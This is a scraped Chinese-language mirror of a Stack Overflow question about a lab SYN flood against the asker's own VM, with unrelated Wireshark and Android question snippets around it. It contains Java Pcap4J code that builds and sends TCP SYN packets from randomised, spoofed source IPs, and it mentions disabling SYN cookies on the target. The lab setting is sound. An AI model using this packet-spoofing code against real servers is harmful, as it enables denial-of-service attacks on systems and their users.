- android - 多次调用 OnPrimaryClipChangedListener
- android - 无法更新 RecyclerView 中的 TextView 字段
- android.database.CursorIndexOutOfBoundsException : Index 0 requested, 光标大小为 0
- android - 使用 AppCompat 时,我们是否需要明确指定其 UI 组件(Spinner、EditText)颜色
出于教育目的,我正在尝试对 Ubuntu 18.04 VM 执行 SYN 泛洪攻击。我在我的 VM 设置中启用了桥接模式并设置了一个 Web 服务器 (10.0.0.10) 我可以通过 ping 访问我的主机 (10.0.0.3),反之亦然。从主机到服务器的 ping 显示服务器上的 Wireshark 流量(请求和响应),从服务器到主机的 ping 也显示服务器上的 Wireshark 流量,但不是主机上的流量,即使 ping 数据包已正确构建。
我构建攻击的方法是生成随机 IP,构建 TCP SYN 数据包并将其通过端口 80(开放)从我的主机发送到 Web 服务器,这应该发送回 TCP SYN/ACK 数据包(我使用 iptables将其路由回我的主机)。
如果我通过 Pcap4J(Java 的 Pcap 库)构造一个 TCP 数据包,然后通过处理程序发送它,I see it pop up on the host Wireshark.
但是,如果我检查虚拟机上的 Wireshark,数据包不会到达。处理程序没有给出错误并且程序正确退出,因此我不确定如何解决这个问题。
数据包在哪里丢失,我该怎么做才能修复它?我需要数据包到达网络服务器虚拟机(以及服务器将它们发回)。
代码:
Pcaphandle send_handle;
//nif_address is a constant of my ethernet connection defined in the file
try {
PcapNetworkInterface nif = Pcaps.getDevByAddress(nif_address);
if (nif == null) {
System.out.println("Networkinterface is null");
return;
}
// Open the device and get a send_handle
int snapshotLength = 65536; // in bytes
int readTimeout = 50; // in milliseconds
send_handle = nif.openLive(snapshotLength, PcapNetworkInterface.PromiscuousMode.PROMISCUOUS, readTimeout);
} catch (PcapNativeException e) {
System.out.println("Cannot bind NIF to variable from localhost");
e.printStackTrace();
return;
}
//Send packets, e.g. 1 packet by 5 different IPs
for (int i = 0; i < 5; i++) {
//generateIP() function not shown here, but is simply a randomizer and format to IP
InetAddress src_ip = generateIP();
Packet tcpPacket = constructSYNPacket(i, src_ip);
try {
send_handle.sendPacket(tcpPacket);
System.out.println(send_handle.getError());
} catch (PcapNativeException | NotOpenException e) {
e.printStackTrace();
}
}
private Packet constructSYNPacket(int packetNr, InetAddress src_address) {
TcpPacket.Builder tcpBuilder = new TcpPacket.Builder();
tcpBuilder
.syn(true)
.ack(false)
.rst(false)
.psh(false)
.urg(false)
.srcAddr(src_address)
.srcPort(TcpPort.getInstance((short) srcPort))
.dstAddr(dst_address)
.dstPort(TcpPort.getInstance((short) dstPort))
.correctLengthAtBuild(true)
.correctChecksumAtBuild(true)
.sequenceNumber(100000 + (packetNr*50));
IpV4Packet.Builder ipv4Builder = new IpV4Packet.Builder();
ipv4Builder
.srcAddr((Inet4Address)src_address)
.dstAddr((Inet4Address)dst_address)
.dontFragmentFlag(true)
.fragmentOffset((short)0)
.ihl((byte)5)
.correctLengthAtBuild(true)
.correctChecksumAtBuild(true)
.protocol(IpNumber.TCP)
.version(IpVersion.IPV4)
.tos((IpV4Packet.IpV4Tos) () -> (byte)0)
.ttl((byte)100)
.payloadBuilder(tcpBuilder);
EthernetPacket.Builder ethBuilder = new EthernetPacket.Builder();
ethBuilder
.srcAddr(nif_mac)
.dstAddr(dst_mac)
.type(EtherType.IPV4)
.payloadBuilder(ipv4Builder)
.paddingAtBuild(true);
Packet p = ethBuilder.build();
注意:我已经在 Ubuntu sysctl 中禁用了 SYN cookie。
最佳答案
尽管我还没有发现为什么桥接模式不起作用,但我设法使用仅主机适配器使其工作。当我使用它时,双向都收到了 Ping 和数据包。
关于java - Pcap4j TCP 数据包在 Wireshark 上显示后被丢弃,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/55270143/
Wireshark 何时对数据包加时间戳?完全接收一帧后?或者已经在接收帧的第一个字节?我阅读了以下关于 Wireshark timestamps 的描述但该文本仅说明:“在捕获数据包时,每个数据包在
在我们的团队中,我们有一个标准化的开发设置,我们有一个 Win8 工作站,在 Hyper-V 上运行各种虚拟机。所有开发都在虚拟机上进行。 我遇到了一个问题,我无法使用 VS2012 从 Team F
我对 Wireshark 中的抖动计算方法有疑问。 Wireshark 根据 RFC3550 (RTP) 计算抖动: 如果 Si 是数据包 i 的 RTP 时间戳,Ri 是数据包 i 在 RTP 时间
我正在尝试使用以下选项从 cli 启动 wireshark... wireshark -k -i eth2 -a filesize:1000000 -f 我遇到的问题是我想使用预定义的wiresha
我们通过 WireShark 使用 JN5148EK010 节点捕获流量。收到的数据包显示在提供的屏幕截图中。 我想知道如何解码数据 捕获几个数据包后发生错误,还提供了屏幕截图。如何解决此错误? 列表
我正在尝试自动化我使用 WireShark 的重复手动过程: 1) 加载给定的 pcap 文件 2) 为给定协议(protocol)应用一个简单的过滤器 3) 使用导出对话框将显示的数据包导出为 CS
关闭。这个问题不符合Stack Overflow guidelines .它目前不接受答案。 想改进这个问题?将问题更新为 on-topic对于堆栈溢出。 8年前关闭。 Improve this qu
有没有办法清除 Wireshark 中的捕获窗口,而无需重新启动捕获或重新应用过滤器?如果不仔细查看时间戳,很难区分一组流量和另一组流量。 最佳答案 我没有找到清除窗口的方法,但点击“重新启动正在运行
关闭。这个问题需要多问focused 。目前不接受答案。 想要改进此问题吗?更新问题,使其仅关注一个问题 editing this post . 已关闭 3 年前。 Improve this ques
我想知道wireshark 是如何工作的。可以监听给定机器所有端口上的流量的应用程序的设计是什么?这样的应用程序会产生什么样的窃听?编写一个监控流量的应用程序的好方法是什么? 谢谢 最佳答案 Wire
我想构建一个自己的 Wireshark 数据包解析器,并按照https://www.wireshark.org/docs/wsdg_html_chunked/ChDissectAdd.html中给出的
假设我有这样的模式 01:02:(anything):04:05 如何在wireshark中构造一个显示过滤器来过滤掉它? 我必须这样做吗? data[0:2]==01:02 and data[3:2
我想构建一个自己的 Wireshark 数据包解析器,并按照https://www.wireshark.org/docs/wsdg_html_chunked/ChDissectAdd.html中给出的
假设我有这样的模式 01:02:(anything):04:05 如何在wireshark中构造一个显示过滤器来过滤掉它? 我必须这样做吗? data[0:2]==01:02 and data[3:2
是否可以在 Wireshark 中重新编号。例如,我已将数据包过滤到一侧: 所以数字是(由于过滤它们没有按顺序排列): 416,419,420,423,424,426,427。 但我想像这样一行一行地
我想使用 Opus-48 编解码器捕获和解码 VoIP 对话。我正在使用 Wireshark 来捕获数据包。网上有免费的解码器吗?? Wireshark 不保存双向对话,因为它适用于 G-729 等其
tshark中的-Y、-2和-R选项让我困惑了很久。 看了说明书,我知道-Y用在单通滤波,-2用在2通滤波(万一我们不能在第一遍过滤器结束之前获取一些信息) 但我还是不明白 -2 -Y 'blabla
如果我想编写一个使用 Wireshark 功能的脚本,我会使用 tshark。我听说还有一个 libwireshark 可以在用 C 编写程序时使用,但是,就我的一生而言,我找不到任何文档!我尝试隔离
我有一个正在分析的 Wi-Fi 捕获 (.pcap),并且遇到了在我看来 802.11 规范与 Wireshark 对数据的解释之间的不一致之处。具体来说,我想要拆分的是 2 字节的 802.11 帧
有没有办法过滤或关注 TCP/SSL使用 Wireshark 基于特定进程 ID 的流? 最佳答案 以防万一您正在寻找替代方法并且您使用的环境是 Windows,Microsoft 的 Network
我是一名优秀的程序员,十分优秀!